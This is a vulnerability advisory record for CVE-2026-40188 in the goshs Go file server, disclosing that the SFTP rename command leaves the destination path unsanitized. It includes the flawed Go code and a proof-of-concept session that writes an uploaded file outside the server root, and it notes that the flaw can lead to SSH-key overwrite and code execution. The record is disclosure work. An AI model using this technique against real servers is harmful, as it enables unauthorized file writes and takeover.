{"id":"CVE-2026-40188","aliases":["GHSA-2943-crp8-38xx","GO-2026-4953"],"url":"https://o3.security/vulnerability/CVE-2026-40188","summary":"goshs is Missing Write Protection for Parametric Data Values","details":"### Summary\nThe SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. \n\n### Details\n\nHere is the issue:\n```go\n// helper.go:155-215\nfunc cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {\n    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED\n    if err != nil {\n        return err\n    }\n    switch r.Method {\n    // ...\n    case \"Rename\":\n        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!\n```\n\n\n### PoC\n\nTo exploit just upload a file on the SFTP and rename it to a file with full path. \n\nCurrently no key.txt file inside /tmp\n\n``` bash\n$ ls key.txt\nls: key.txt: No such file or directory\n```\n\n\nStart the SFTP server:\n``` bash\n/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .\nWARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode\nWARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.\nINFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022\nWARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.\nINFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'\nINFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded\nINFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000\nINFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000\nINFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server\n```\n\nConnect to the SFTP and uploading the file:\n``` bash\n$ sftp -P 2022 user@localhost\nuser@localhost's password:\nConnected to localhost.\nsftp> put /Users/user/Downloads/key.txt\nUploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt\nkey.txt                                                                                                                                                   100%   15    40.9KB/s   00:00\n```\n\nThe file is stored properly. \n\ngoshs log:\n```\nINFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - \"/tmp/sftp-server/key.txt\"\n```\n\nRename command with full path:\n``` bash\nsftp> rename key.txt /tmp/key.txt\n```\n\ngoshs log:\n```\nINFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - \"/tmp/sftp-server/key.txt to /tmp/key.txt\"\n```\n\nKey file is now in /tmp\n```\n$ ls key.txt\nkey.txt\n```\n\n\n### Impact\nThis allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.","published":"2026-04-10T19:43:45.197Z","modified":"2026-08-27T04:04:08.976327841Z","cvss":{"score":7.7,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/patrickhener/goshs","fixedVersion":null}],"fix":{"url":"https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744","label":"patrickhener/goshs@141c188"},"references":[{"type":"WEB","url":"https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40188.json"},{"type":"ADVISORY","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-2943-crp8-38xx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40188"},{"type":"FIX","url":"https://github.com/patrickhener/goshs/commit/141c188ce270ffbec087844a50e5e695b7da7744"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T04:04:08.976327841Z"}}